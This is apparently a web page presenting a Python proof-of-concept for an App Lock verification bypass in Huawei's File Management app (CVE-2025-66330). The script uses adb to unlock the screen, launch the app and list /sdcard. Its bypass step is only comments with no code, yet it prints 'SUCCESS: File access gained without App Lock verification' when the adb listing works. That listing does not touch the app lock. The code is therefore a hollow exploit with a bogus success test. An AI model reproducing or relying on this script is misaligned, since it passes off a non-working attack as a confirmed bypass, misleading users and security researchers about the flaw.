华为文件管理App Lock验证绕过漏洞 (CVE-2025-66330)

# CVE-2025-66330 PoC - App Lock Verification Bypass # Note: This is a conceptual PoC based on vulnerability description # Actual exploitation requires physical access to the device import subprocess import time def exploit_cve_2025_66330(): """ Conceptual PoC for Huawei File Management App Lock bypass This demonstrates the verification bypass vulnerability """ print("[+] Starting CVE-2025-66330 App Lock Bypass Test") # Step 1: Unlock device with valid credentials print("[*] Step 1: Device unlock with physical access") subprocess.run(['adb', 'shell', 'input', 'keyevent', '82']) # Unlock # Step 2: Launch File Management app print("[*] Step 2: Launching File Management application") subprocess.run(['adb', 'shell', 'am', 'start', '-n', 'com.huawei.filemanager/.MainActivity']) time.sleep(2) # Step 3: Trigger App Lock bypass condition print("[*] Step 3: Triggering App Lock verification bypass") # This would involve specific UI interaction or intent manipulation # The actual bypass technique depends on the specific vulnerability # Step 4: Access protected files without authentication print("[*] Step 4: Attempting unauthorized file access") result = subprocess.run(['adb', 'shell', 'ls', '/sdcard/'], capture_output=True, text=True) if result.returncode == 0: print("[+] SUCCESS: File access gained without App Lock verification") print("Files accessible:", result.stdout) else: print("[-] FAILED: Access denied") return result.returncode == 0 if __name__ == "__main__": exploit_cve_2025_66330()